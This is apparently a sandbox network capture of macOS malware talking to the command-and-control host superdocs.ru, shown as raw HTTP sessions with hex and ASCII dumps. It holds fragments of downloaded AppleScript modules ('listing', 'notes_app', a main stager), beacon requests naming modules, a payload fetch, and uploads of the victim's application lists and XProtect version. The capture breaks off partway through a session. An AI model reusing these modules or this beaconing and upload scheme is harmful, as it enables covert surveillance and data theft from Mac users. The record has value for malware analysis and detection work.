                                      2022-08-24 09:19:02 UTC77INData Raw: 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60
                                      Data Ascii: 0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      11192.168.0.534931245.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:02 UTC92OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: remove_old
                                      Content-Length: 15
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:02 UTC92OUTData Raw: 6d 6f 64 75 6c 65 20 6c 61 75 6e 63 68 65 64
                                      Data Ascii: module launched
                                      2022-08-24 09:19:02 UTC92INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:02 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:02 UTC92INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      12192.168.0.534931345.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:02 UTC92OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: bootstrap
                                      Content-Length: 48
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:02 UTC92OUTData Raw: 6d 61 70 70 69 6e 67 3a 20 70 61 79 6c 6f 61 64 65 72 20 2d 20 63 6f 6d 2e 75 74 69 6c 73 2e 63 6f 72 65 2e 67 72 61 70 68 69 63 73 2e 61 70 70
                                      Data Ascii: mapping: payloader - com.utils.core.graphics.app
                                      2022-08-24 09:19:02 UTC92INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:02 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:02 UTC92INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      13192.168.0.534931445.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:03 UTC92OUTPOST /agent/scripts/listing.applescript HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      Content-Length: 10
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:03 UTC92OUTData Raw: 75 73 65 72 3d 70 65 64 72 6f
                                      Data Ascii: user=pedro
                                      2022-08-24 09:19:03 UTC92INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:03 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:03 UTC93INData Raw: 31 33 62 63 0d 0a 0a 67 6c 6f 62 61 6c 20 6d 6f 64 75 6c 65 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 75 73 65 72 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 64 46 6f 6c 64 65 72 0a 0a 0a 73 65 74 20 6d 6f 64 75 6c 65 4e 61 6d 65 20 74 6f 20 22 6c 69 73 74 69 6e 67 22 0a 73 65 74 20 75 73 65 72 4e 61 6d 65 20 74 6f 20 64 6f 20 73 68 65 6c 6c 20 73 63 72 69 70 74 20 22 77 68 6f 61 6d 69 22 0a 73 65 74 20 64 46 6f 6c 64 65 72 20 74 6f 20 50 4f 53 49 58 20 70 61 74 68 20 6f 66 20 28 28 70 61 74 68 20 74 6f 20 6d 65 20 61 73 20 74 65 78 74 29 20 26 20 22 3a 3a 22 29 0a 0a 0a 0a 0a 6f 6e 20 6c 6f 67 20 28 6d 65 73 73 61 67 65 29 0a 09 73 65 74 20 6d 65 73 73 61 67 65 20 74 6f 20 71 75 6f 74 65 64 20 66 6f 72 6d 20 6f 66 20 6d 65 73 73 61 67 65 0a 09 73 65 74 20 73 65 72 69
                                      Data Ascii: 13bcglobal moduleNameglobal userNameglobal dFolderset moduleName to "listing"set userName to do shell script "whoami"set dFolder to POSIX path of ((path to me as text) & "::")on log (message)set message to quoted form of messageset seri


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      14192.168.0.534931545.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:03 UTC98OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: remove_old
                                      Content-Length: 15
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:03 UTC98OUTData Raw: 6d 6f 64 75 6c 65 20 66 69 6e 69 73 68 65 64
                                      Data Ascii: module finished
                                      2022-08-24 09:19:03 UTC98INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:03 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:03 UTC98INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      15192.168.0.534931645.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:03 UTC98OUTGET /agent/bin/icons/Empty.icns HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      2022-08-24 09:19:03 UTC98INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:03 GMT
                                      Content-Type: application/octet-stream
                                      Content-Length: 31308
                                      Last-Modified: Thu, 18 Aug 2022 07:36:55 GMT
                                      Connection: close
                                      ETag: "62fdec17-7a4c"
                                      Accept-Ranges: bytes
                                      2022-08-24 09:19:03 UTC98INData Raw: 69 63 6e 73 00 00 7a 4c 69 63 31 32 00 00 00 ad 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 5f 49 44 41 54 78 01 ed d0 01 0d 00 00 00 c2 a0 f7 4f 6d 0e 37 88 40 61 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c bc 0f 0c 40 40 00 01 16 41 98 eb 00 00 00 00 49 45 4e 44 ae 42 60 82 69 63 30 37 00 00 01 84 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 06 00 00 00 c3 3e 61 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 01 36 49 44 41 54 78 01 ed d0 31 01 00 00 00 c2 a0 f5
                                      Data Ascii: icnszLic12PNGIHDR@@iqsRGB_IDATxOm7@a0`0`0`0`0`0`0`@@AIENDB`ic07PNGIHDR>asRGB6IDATx1
                                      2022-08-24 09:19:03 UTC114INData Raw: 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60
                                      Data Ascii: 0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      16192.168.0.534931745.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:03 UTC129OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: payloader
                                      Content-Length: 15
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:03 UTC129OUTData Raw: 6d 6f 64 75 6c 65 20 6c 61 75 6e 63 68 65 64
                                      Data Ascii: module launched
                                      2022-08-24 09:19:04 UTC129INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:04 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:04 UTC129INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      17192.168.0.534931845.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:04 UTC129OUTGET /agent/payload.php?serial=C07GV0KZPJH8&user=pedro&hash=&display_state=off HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      2022-08-24 09:19:04 UTC129INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:04 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:04 UTC130INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      18192.168.0.534932045.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:08 UTC130OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: listing
                                      Content-Length: 15
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:08 UTC130OUTData Raw: 6d 6f 64 75 6c 65 20 6c 61 75 6e 63 68 65 64
                                      Data Ascii: module launched
                                      2022-08-24 09:19:08 UTC130INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:08 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:08 UTC130INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      19192.168.0.534931945.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:09 UTC130OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: bootstrap
                                      Content-Length: 42
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:09 UTC130OUTData Raw: 6d 61 70 70 69 6e 67 3a 20 6c 69 73 74 69 6e 67 20 2d 20 63 6f 6d 2e 75 74 69 6c 73 2e 63 6f 72 65 2e 73 79 73 64 2e 61 70 70
                                      Data Ascii: mapping: listing - com.utils.core.sysd.app
                                      2022-08-24 09:19:09 UTC130INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:09 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:09 UTC130INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      2192.168.0.534930345.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:18:43 UTC0OUTPOST /apple/com.php HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      Content-Length: 51
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:18:43 UTC0OUTData Raw: 75 73 65 72 3d 70 65 64 72 6f 26 62 75 69 6c 64 5f 76 65 6e 64 6f 72 3d 64 65 66 61 75 6c 74 26 62 75 69 6c 64 5f 76 65 72 73 69 6f 6e 3d 31 2e 31 2e 35
                                      Data Ascii: user=pedro&build_vendor=default&build_version=1.1.5
                                      2022-08-24 09:18:43 UTC0INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:18:43 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:18:43 UTC0INData Raw: 33 38 34 37 0d 0a 0a 67 6c 6f 62 61 6c 20 6d 6f 64 75 6c 65 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 75 73 65 72 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 64 46 6f 6c 64 65 72 0a 67 6c 6f 62 61 6c 20 6d 6f 64 43 6f 75 6e 74 0a 67 6c 6f 62 61 6c 20 6d 6f 64 43 6f 75 6e 74 32 0a 67 6c 6f 62 61 6c 20 73 65 72 69 61 6c 4e 75 6d 62 65 72 0a 67 6c 6f 62 61 6c 20 6d 61 63 4f 73 56 65 72 73 69 6f 6e 0a 67 6c 6f 62 61 6c 20 63 6f 6e 6e 65 63 74 69 6f 6e 52 65 74 72 69 65 73 0a 67 6c 6f 62 61 6c 20 64 6f 6d 61 69 6e 73 0a 67 6c 6f 62 61 6c 20 64 6f 6d 61 69 6e 0a 67 6c 6f 62 61 6c 20 64 6f 6d 61 69 6e 49 6e 64 65 78 0a 0a 67 6c 6f 62 61 6c 20 70 4e 61 6d 65 73 0a 67 6c 6f 62 61 6c 20 70 4e 61 6d 65 73 32 0a 67 6c 6f 62 61 6c 20 66 6f 6c 64 65 72 73 41 63 63 65 73 73 4e 61 6d
                                      Data Ascii: 3847global moduleNameglobal userNameglobal dFolderglobal modCountglobal modCount2global serialNumberglobal macOsVersionglobal connectionRetriesglobal domainsglobal domainglobal domainIndexglobal pNamesglobal pNames2global foldersAccessNam


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      20192.168.0.534932145.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:09 UTC130OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: listing
                                      Content-Length: 69
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:09 UTC130OUTData Raw: 73 74 61 72 74 69 6e 67 20 73 65 72 76 65 72 20 75 70 6c 6f 61 64 20 66 6f 72 20 41 70 70 6c 69 63 61 74 69 6f 6e 73 2e 74 78 74 2e 20 45 78 70 65 63 74 65 64 20 66 69 6c 65 20 73 69 7a 65 3a 20 31 20 4d 42
                                      Data Ascii: starting server upload for Applications.txt. Expected file size: 1 MB
                                      2022-08-24 09:19:10 UTC131INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:10 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:10 UTC131INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      21192.168.0.534932245.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:10 UTC131OUTPOST /agent/upload.php?serial=C07GV0KZPJH8 HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Users: pedro
                                      X-Mod: listing
                                      Content-Length: 414
                                      Content-Type: multipart/form-data; boundary=------------------------c6e6676243f6cffe
                                      2022-08-24 09:19:10 UTC131OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 36 65 36 36 37 36 32 34 33 66 36 63 66 66 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 6c 69 73 74 2e 6c 6f 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 46 61 72 6f 6e 69 63 73 0a 47 61 72 61 67 65 42 61 6e 64 2e 61 70 70 0a 4b 65 79 6e 6f 74 65 2e 61 70 70 0a 4e 75 6d 62 65 72 73 2e 61 70 70 0a 50 61 67 65 73 2e 61 70 70 0a 50 79 74 68 6f 6e 20 32 2e 37 0a 53 61 66 61 72 69 2e 61 70 70 0a 55 74 69 6c 69 74 69 65 73 0a 69 4d 6f 76 69 65 2e 61 70 70 0a 0d 0a
                                      Data Ascii: --------------------------c6e6676243f6cffeContent-Disposition: form-data; name="file"; filename="list.log"Content-Type: application/octet-streamFaronicsGarageBand.appKeynote.appNumbers.appPages.appPython 2.7Safari.appUtilitiesiMovie.app
                                      2022-08-24 09:19:10 UTC131INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:10 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:10 UTC132INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      22192.168.0.534932345.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:11 UTC132OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: listing
                                      Content-Length: 76
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:11 UTC132OUTData Raw: 73 74 61 72 74 69 6e 67 20 73 65 72 76 65 72 20 75 70 6c 6f 61 64 20 66 6f 72 20 41 70 70 6c 69 63 61 74 69 6f 6e 73 5f 53 79 73 74 65 6d 2e 74 78 74 2e 20 45 78 70 65 63 74 65 64 20 66 69 6c 65 20 73 69 7a 65 3a 20 31 20 4d 42
                                      Data Ascii: starting server upload for Applications_System.txt. Expected file size: 1 MB
                                      2022-08-24 09:19:11 UTC132INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:11 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:11 UTC132INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      23192.168.0.534932545.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:11 UTC132OUTPOST /agent/upload.php?serial=C07GV0KZPJH8 HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Users: pedro
                                      X-Mod: listing
                                      Content-Length: 802
                                      Content-Type: multipart/form-data; boundary=------------------------6a3b18fc97995ca5
                                      2022-08-24 09:19:11 UTC132OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 61 33 62 31 38 66 63 39 37 39 39 35 63 61 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 6c 69 73 74 2e 6c 6f 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 41 70 70 20 53 74 6f 72 65 2e 61 70 70 0a 41 75 74 6f 6d 61 74 6f 72 2e 61 70 70 0a 42 6f 6f 6b 73 2e 61 70 70 0a 43 61 6c 63 75 6c 61 74 6f 72 2e 61 70 70 0a 43 61 6c 65 6e 64 61 72 2e 61 70 70 0a 43 68 65 73 73 2e 61 70 70 0a 43 6f 6e 74 61 63 74 73 2e 61 70 70 0a 44 69 63 74 69 6f 6e 61 72 79 2e 61 70 70
                                      Data Ascii: --------------------------6a3b18fc97995ca5Content-Disposition: form-data; name="file"; filename="list.log"Content-Type: application/octet-streamApp Store.appAutomator.appBooks.appCalculator.appCalendar.appChess.appContacts.appDictionary.app
                                      2022-08-24 09:19:11 UTC133INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:11 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:11 UTC133INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      24192.168.0.534932445.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:12 UTC133OUTPOST /agent/scripts/notes_app.applescript HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      Content-Length: 10
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:12 UTC133OUTData Raw: 75 73 65 72 3d 70 65 64 72 6f
                                      Data Ascii: user=pedro
                                      2022-08-24 09:19:13 UTC133INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:12 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:13 UTC133INData Raw: 32 35 39 32 0d 0a 0a 0a 67 6c 6f 62 61 6c 20 6d 6f 64 75 6c 65 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 75 73 65 72 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 64 46 6f 6c 64 65 72 0a 67 6c 6f 62 61 6c 20 70 65 72 6d 69 73 73 69 6f 6e 41 70 70 0a 67 6c 6f 62 61 6c 20 46 4f 52 43 45 44 0a 67 6c 6f 62 61 6c 20 6e 6f 74 65 73 46 6f 6c 64 65 72 0a 67 6c 6f 62 61 6c 20 72 65 74 72 69 65 73 43 6f 75 6e 74 0a 0a 0a 73 65 74 20 6d 6f 64 75 6c 65 4e 61 6d 65 20 74 6f 20 22 6e 6f 74 65 73 5f 61 70 70 22 0a 73 65 74 20 75 73 65 72 4e 61 6d 65 20 74 6f 20 64 6f 20 73 68 65 6c 6c 20 73 63 72 69 70 74 20 22 77 68 6f 61 6d 69 22 0a 73 65 74 20 64 46 6f 6c 64 65 72 20 74 6f 20 50 4f 53 49 58 20 70 61 74 68 20 6f 66 20 28 28 70 61 74 68 20 74 6f 20 6d 65 20 61 73 20 74 65 78 74 29 20
                                      Data Ascii: 2592global moduleNameglobal userNameglobal dFolderglobal permissionAppglobal FORCEDglobal notesFolderglobal retriesCountset moduleName to "notes_app"set userName to do shell script "whoami"set dFolder to POSIX path of ((path to me as text)


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      25192.168.0.534932645.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:13 UTC143OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: listing
                                      Content-Length: 65
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:13 UTC143OUTData Raw: 73 74 61 72 74 69 6e 67 20 73 65 72 76 65 72 20 75 70 6c 6f 61 64 20 66 6f 72 20 58 70 72 6f 74 65 63 74 2e 74 78 74 2e 20 45 78 70 65 63 74 65 64 20 66 69 6c 65 20 73 69 7a 65 3a 20 31 20 4d 42
                                      Data Ascii: starting server upload for Xprotect.txt. Expected file size: 1 MB
                                      2022-08-24 09:19:13 UTC143INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:13 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:13 UTC143INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      26192.168.0.534932745.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:14 UTC143OUTPOST /agent/upload.php?serial=C07GV0KZPJH8 HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Users: pedro
                                      X-Mod: listing
                                      Content-Length: 318
                                      Content-Type: multipart/form-data; boundary=------------------------adbb862677104671
                                      2022-08-24 09:19:14 UTC144OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 64 62 62 38 36 32 36 37 37 31 30 34 36 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 78 70 72 6f 74 65 63 74 2e 6c 6f 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 32 31 36 32 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 64 62 62 38 36 32 36 37 37 31 30 34 36 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 6e 61 6d 65 22 0d
                                      Data Ascii: --------------------------adbb862677104671Content-Disposition: form-data; name="file"; filename="xprotect.log"Content-Type: application/octet-stream2162--------------------------adbb862677104671Content-Disposition: form-data; name="filename"
                                      2022-08-24 09:19:14 UTC144INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:14 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:14 UTC144INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      27192.168.0.534932845.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:15 UTC144OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: listing
                                      Content-Length: 62
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:15 UTC144OUTData Raw: 73 74 61 72 74 69 6e 67 20 73 65 72 76 65 72 20 75 70 6c 6f 61 64 20 66 6f 72 20 6f 73 6d 72 74 2e 74 78 74 2e 20 45 78 70 65 63 74 65 64 20 66 69 6c 65 20 73 69 7a 65 3a 20 31 20 4d 42
